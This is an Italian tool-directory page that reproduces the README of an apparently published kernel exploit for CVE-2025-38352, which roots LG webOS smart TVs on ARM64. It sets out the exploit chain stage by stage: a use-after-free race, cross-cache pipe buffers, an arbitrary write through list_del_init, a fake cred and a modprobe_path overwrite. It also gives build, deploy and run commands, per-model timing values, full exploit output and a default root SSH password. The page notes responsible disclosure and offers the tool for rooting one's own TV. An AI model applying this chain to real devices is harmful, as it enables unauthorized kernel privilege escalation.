Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
chronomaly-webos — CVE-2025-38352 exploit del kernel per smart TV LG webOS (ARM64). Raggiunge root persistente su hardware consumer reale con tecniche di sfruttamento innovative. Divulgato responsabilmente a LG. | Kitploit
Strumenti/GitHubGitHub/analyticeth/chronomaly-webos
Sicurezza Sistemi EmbeddedEscalation di PrivilegiAnalisi delle VulnerabilitàExploitSicurezza HardwareApprendimento e FormazioneBinary Exploitation
GitHubanalyticeth/chronomaly-webos

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

chronomaly-webos

CVE-2025-38352 exploit del kernel per smart TV LG webOS (ARM64). Raggiunge root persistente su hardware consumer reale con tecniche di sfruttamento innovative. Divulgato responsabilmente a LG.

Vedi Repository
102 mesi faNon ancora revisionato

Chronomaly — CVE-2025-38352 su LG webOS

Exploit del kernel per CVE-2025-38352 (condizione di gara del timer CPU POSIX / use-after-free) che ottiene root persistente su Smart TV LG webOS con kernel 5.4.268 su ARM64. Verificato su 4 modelli di TV in diverse versioni firmware. Divulgato responsabilmente al programma LG Security Researcher (febbraio 2026).

Basato su Chronomaly di farazsth98. La logica di race UAF dello Stage 1 e l'infrastruttura cross-cache sono state portate e adattate per ARM64; gli Stage 2–5 sono stati riprogettati con nuove tecniche di sfruttamento e soluzioni ai vincoli hardware reali che non esistono in ambienti emulati. Sviluppato con l'assistenza di Claude Opus 4.6.

Vedi VULNERABILITY_REPORT.md per l'analisi completa della vulnerabilità, la descrizione della catena di exploit e le mitigazioni raccomandate.

Risultati

  • Root persistente del kernel (uid=0) dall'utente non privilegiato prisoner (uid=5038)
  • Verificato su 5 modelli LG: OLED65C2PUA, 86QNED70AUA, OLED77C5PUA, OLED77G4WUA, OLED65C4PUA
  • Confermato su versioni firmware 33.22.65 – 33.30.97 (kernel 5.4.268-320 e -329)
  • Completamente automatizzato, si completa in pochi minuti, sopravvive ai riavvii tramite elevazione di Homebrew Channel
  • Segnalato al programma LG Security Researcher (7 febbraio 2026)

Dichiarazione di non responsabilità

Questo exploit è stato sviluppato come parte di una ricerca sulla sicurezza responsabile e segnalato al programma LG Security Researcher il 7 febbraio 2026. Viene pubblicato solo a scopo educativo. Usalo in modo responsabile e solo su dispositivi di tua proprietà. Gli autori non sono responsabili per eventuali danni, brick, perdita di dati o annullamento della garanzia derivanti dall'uso di questo software. Questo software è fornito "così com'è" senza garanzia.

Tecniche innovative

1. Primitiva di scrittura riprogettata

Il decremento arbitrario dell'originale è lento e rumoroso: spruzza 1000 oggetti struct cred tramite processi fork, poi decrementa il campo EUID del cred target N volte. Ogni decremento è un'operazione separata. È accettabile in QEMU, dove i tempi sono indulgenti, ma inaffidabile su hardware reale, dove il recupero delle pagine guidato dagli interrupt può rubare le pagine del buffer della pipe tra un'operazione e l'altra.

È stato sostituito con una singola scrittura arbitraria tramite list_del_init(). L'exploit sovrascrive i puntatori list_head.next e list_head.prev del sigqueue UAF attraverso il buffer della pipe. Quando il kernel rimuove il segnale in sospeso (collect_signal() → list_del_init()), esegue prev->next = next (scrive l'indirizzo del cred fittizio in task_struct->cred) e next->prev = prev (scrittura collaterale controllata). Una singola scrittura sostituisce il puntatore cred del processo con un puntatore a una struttura cred fittizia contenente tutti i campi uid/gid a zero. Nessuno spray di cred, nessun processo fork, deterministico.

2. peek_pipe() tramite tee() per letture non distruttive

L'originale utilizza chiamate read() distruttive sui buffer della pipe durante tutto l'exploit. In QEMU funziona bene perché le pagine non vengono rubate tra le operazioni. Su hardware reale con 4 core fisici, la lista delle pagine per CPU del kernel (pcplist) recupera aggressivamente le pagine liberate. Una lettura distruttiva rilascia la pagina di supporto del buffer della pipe, che può essere immediatamente rubata da un interrupt hardware prima che l'exploit possa riallocarla.

La soluzione è una primitiva di lettura non distruttiva della pipe tramite tee(). La chiamata di sistema tee() duplica i dati della pipe tra due pipe senza consumarli, mantenendo la pagina di supporto del buffer della pipe originale bloccata. Ciò consente all'exploit di leggere i dati del kernel dal buffer della pipe cross-cached ripetutamente senza rischiare la perdita della pagina. È stato fondamentale per l'affidabilità su hardware reale.

3. Cred fittizio in un secondo buffer della pipe cross-cached

L'originale spruzza oggetti cred e spera di posizionarne uno in una posizione prevedibile. Questa versione costruisce la struttura cred fittizia a un indirizzo noto eseguendo una seconda cross-cache: alloca un nuovo sigqueue (tramite tkill(SIGRTMIN+1)), ne apprende l'indirizzo dalla prima perdita di heap del buffer della pipe, quindi esegue il cross-cache della pagina slab di quel sigqueue in un secondo buffer della pipe. Il cred fittizio viene scritto nel secondo buffer della pipe all'esatto offset di pagina dell'indirizzo del sigqueue trapelato. Il risultato è un cred fittizio a un indirizzo kernel deterministico senza alcuna ipotesi.

4. SIGUSR2 mantenuto in sospeso come attivatore finale della scrittura

L'originale rimuove SIGUSR2 all'inizio dello Stage 2 per far trapelare l'indirizzo del sigqueue UAF. Questo consuma il segnale, quindi l'originale necessita di un meccanismo diverso per la scrittura finale. Questa versione non ha mai bisogno dell'indirizzo del sigqueue UAF stesso (la perdita di heap proviene dai puntatori sigqueue adiacenti nel buffer della pipe). SIGUSR2 viene mantenuto in sospeso per tutti e cinque gli stage e la sua rimozione viene utilizzata come attivatore finale della scrittura arbitraria. Il segnale che ha creato l'UAF è lo stesso segnale la cui rimozione lo sfrutta.

5. Escalation tramite modprobe_path + socket(44)

La struttura cred fittizia ha puntatori user_ns, user e group_info NULL (poiché il buffer della pipe viene inizializzato a zero oltre i campi uid/gid). Chiamare setresuid(), fork() o exec() dereferenzierebbe questi puntatori NULL e causerebbe un kernel panic. L'originale evita questo perché il suo spray di cred utilizza oggetti cred reali con puntatori validi.

La soluzione: sovrascrivere /proc/sys/kernel/modprobe per puntare a uno script payload (/tmp/pwn), quindi attivare call_usermodehelper tramite socket(44, SOCK_STREAM, 0) (richiedendo una famiglia di protocolli inesistente). Il kernel esegue l'helper modprobe con init_cred (le credenziali root del kernel stesso, completamente valide), bypassando del tutto il cred corrotto. Il payload viene eseguito come root completo e può eseguire operazioni arbitrarie.

6. Protezione dei tempi per hardware reale

La finestra critica nello Stage 4 (scrittura di puntatori malevoli nel buffer della pipe, quindi attivazione della rimozione del segnale) è vulnerabile agli interrupt hardware che rubano la pagina del buffer della pipe dalla lista di pagine per CPU. Questo non accade in QEMU. Su hardware reale, questa finestra è protetta con priorità SCHED_FIFO (quando disponibile) e sched_yield() per consentire il completamento del lavoro pendente sulla CPU prima di entrare nella sezione critica, oltre a contenuti del buffer pre-preparati per ridurre al minimo il tempo tra scrittura e attivazione. L'exploit torna anche in modo elegante quando SCHED_FIFO non è disponibile (come su webOS dove l'utente prisoner non ha CAP_SYS_NICE).

7. Reverse engineering dell'offset di task_struct su ARM64

La scrittura arbitraria ha come target task_struct->cred, che richiede di conoscere l'offset in byte da task_struct->pending (il cui indirizzo viene trapelato dal buffer della pipe) a task_struct->cred. Questo offset dipende dalla configurazione del kernel. L'offset 0x80 (128 byte) è stato calcolato manualmente dal codice sorgente del kernel LG webOS, tenendo conto di CONFIG_KEYS=y, CONFIG_SYSVIPC=y e del layout e allineamento delle strutture specifici di ARM64. L'offset x86_64 nell'originale è diverso a causa del diverso packing e delle opzioni di configurazione.


Cosa fa

In caso di successo, l'exploit:

  1. Ottiene root del kernel tramite UAF → cross-cache → scrittura arbitraria (sovrascrittura di cred)
  2. Sovrascrive /proc/sys/kernel/modprobe per eseguire un payload di rooting come init
  3. Il payload installa ed eleva Homebrew Channel e rimuove l'app Dev Mode
  4. Dopo il riavvio, Homebrew Channel fornisce SSH root persistente sulla porta 22

Avvio rapido

Prerequisiti

  • TV LG webOS con kernel 5.4.268 (ARM64)
  • Dev Mode abilitato sulla TV (accesso SSH sulla porta 9922)
  • Compilatore incrociato ARM64 (aarch64-linux-gnu-gcc)
  • IPK di Homebrew Channel — scarica da webosbrew releases

Installazione del compilatore incrociato

root@kitploit:~
# macOS (richiede tap di terze parti)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu

# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu

Consigliato: installare prima Homebrew Channel

Installa l'app Homebrew Channel sulla TV tramite Dev Mode prima di eseguire l'exploit. In questo modo il payload di rooting deve solo elevarlo (veloce, affidabile) invece di installare + elevare (più lento, può fallire). Puoi sideloadarlo usando ares-install o l'app Dev Manager:

root@kitploit:~
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk

Se HBC non è preinstallato, l'exploit tenterà di installarlo da /tmp/hbchannel.ipk (distribuito da deploy-webos.sh), ma questo aggiunge passaggi extra che possono fallire.

Compilazione, distribuzione, esecuzione

root@kitploit:~
# 1. Imposta l'IP della TV e la chiave SSH
#    L'IP della TV si trova in Impostazioni > Rete > Wi-Fi > Impostazioni avanzate
#    La chiave SSH è generata dall'app LG Developer Mode — cerca la chiave
#    scaricata da Dev Manager o ares-setup-device (di solito chiamata webos_rsa)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"

# 2. Compila e distribuisci (deploy-webos.sh gestisce automaticamente la compilazione)
./deploy-webos.sh

# 3. Connettiti ed esegui
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64

Variabili d'ambiente

Ottimizzazione

L'exploit accetta parametri di temporizzazione come argomenti da riga di comando:

root@kitploit:~
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]

Se non vengono forniti argomenti, vengono utilizzati i valori predefiniti compilati (DELAY=31000, DELTA=50, THRESHOLD=3000). Se viene fornito DELAY ma non DELTA, DELTA viene calcolato automaticamente come DELAY / 600 (arrotondato al 5 più vicino).

Valori noti funzionanti

Trovare i valori per una nuova TV

Osserva l'output dell'exploit e regola DELAY:

root@kitploit:~
Parent raced too late   → DIMINUISCI DELAY
Parent raced too early  → AUMENTA DELAY

Quando compaiono entrambi i messaggi, la temporizzazione è vicina: continua a eseguire e l'exploit dovrebbe eventualmente colpire la finestra di race. Inizia con il valore predefinito compilato (31000) e regola da lì.

Dopo il root

  1. L'exploit attenderà il completamento di /tmp/pwn — spesso va in timeout (è normale). Controlla /tmp/pwn.log per verificare manualmente che il payload sia stato completato, se necessario.
  2. Riavvia la TV
  3. Dopo il riavvio, Homebrew Channel fornisce SSH sulla porta 22:
    root@kitploit:~
    ssh root@<TV_IP>
    # password: alpine
    

Output di esempio

root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] fake_cred_addr = 0xffffff804908c820

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [DEBUG] All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Signal dequeued successfully!
        [+] Arbitrary write completed: task->cred now points to fake_cred
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
Output completo (OLED C5)
root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Cleaning up all cross-cache allocations to prepare for next cross-cache
        [+] Preparing task pending list for heap leaks
        [DEBUG] Pipe buffer page dump (non-zero qwords):
        [DEBUG]   offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
        [DEBUG]   offset 0x968: 0xffffff80485913f8 [kernel ptr]
        [+] Heap leaks:
                - UAF sigqueue page offset 0x960
                - Other sigqueue 0xffffff804dbee2d0
                - Task pending list addr 0xffffff80485913f8
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] new_addr = 0xffffff804908c820 (page offset 0x820)
        [+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
        [+] Freeing slab 3 page...
        [+] Writing fake cred at page offset 0x820
        [+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
        [+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] task_pending_list_addr = 0xffffff80485913f8
        [+] cred_offset = 0x80 (128 bytes)
        [+] task_cred_ptr_addr = 0xffffff8048591378
        [+] fake_cred_addr = 0xffffff804908c820
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [-] SCHED_FIFO unavailable - proceeding anyway
        [DEBUG] Verifying sigqueue fields in pipe buffer:
        [DEBUG]   list.next  = 0xffffff804908c820 (expected 0xffffff804908c820) OK
        [DEBUG]   list.prev  = 0xffffff8048591378 (expected 0xffffff8048591378) OK
        [DEBUG]   flags      = 1 (expected 1) OK
        [DEBUG]   si_signo   = 12 (expected 12 = SIGUSR2) OK
        [DEBUG]   All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
        [+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
        [DEBUG] poll() returned 1, revents=0x1
        [DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
        [DEBUG] Key addresses for list_del_init:
        [DEBUG]   UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
        [DEBUG]   UAF.next (entry->next) = fake_cred     = 0xffffff804908c820
        [DEBUG]   fake_cred[0] should be task_pending_list = 0xffffff80485913f8
        [DEBUG] Expected writes:
        [DEBUG]   *(0xffffff8048591378) = 0xffffff804908c820  (task->cred = fake_cred)
        [DEBUG]   *(0xffffff804908c828) = 0xffffff8048591378  (fake_cred.prev = task_cred_ptr)
        [DEBUG] Verifying pipe buffers still valid...
        [DEBUG]   realloc_pipe read(0) = 0 (errno=1)
        [DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
        [DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
        [DEBUG] read() returned 128, errno=0 (Success)
        [DEBUG] Blocking mode restored
        [+] Signal dequeued successfully! (read 128 bytes)
        [DEBUG] POST-DEQUEUE pipe buffer check:
        [DEBUG]   list.next = 0xffffff80417e9960
        [DEBUG]   list.prev = 0xffffff80417e9960
        [DEBUG]   Pointers changed by kernel (list_del_init applied to our page)
        [+] Arbitrary write completed: task->cred now points to fake_cred

        [+] Checking privileges...
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
        [+] Waiting for /tmp/pwn to finish...
        [+] May take up to 5 minutes to finish.

Licenza

I contributi originali sono concessi in licenza MIT. Le parti derivate da Chronomaly di farazsth98 sono escluse dalla concessione MIT perché il progetto upstream è stato pubblicato senza una licenza esplicita. Vedi LICENSE per i dettagli.

Riferimenti

  • CVE-2025-38352 — Bollettino sulla sicurezza Android di settembre 2025 (sfruttato in natura)
  • Chronomaly — Exploit originale di farazsth98 (x86_64/QEMU)
  • Parte 1 — Analisi della vulnerabilità del kernel Android sfruttata in natura + PoC
  • Parte 2 — Estensione della finestra di race senza patch del kernel
  • Parte 3 — Alla scoperta di Chronomaly
  • Homebrew Channel
Scarica lo strumento
VariabilePredefinitoDescrizione
WEBOS_IP192.168.1.100Indirizzo IP della TV
WEBOS_PORT9922Porta SSH
WEBOS_USERprisonerUtente SSH
WEBOS_KEY$HOME/.ssh/webos_rsaPercorso chiave SSH
Modello TVOTA IDDELAYDELTATHRESHOLD
OLED65C2PUAHE_DTV_W22O_AFABATPU29700503000
86QNED70AUAHE_DTV_W25P_AFADATAA1000001653000
OLED77C5PUAHE_DTV_W25G_AFABATAA30500503000
OLED77G4WUAHE_DTV_W24O_AFABATAA24500502500
OLED65C4PUAHE_DTV_W24G_AFABATAA30000503000
OLED55C4PUAHE_DTV_W24G_AFABATAA30300503000
OLED48C3AUB-31300503000
OLED65C3PUAHE_DTV_W23O_AFABJAAA27900503000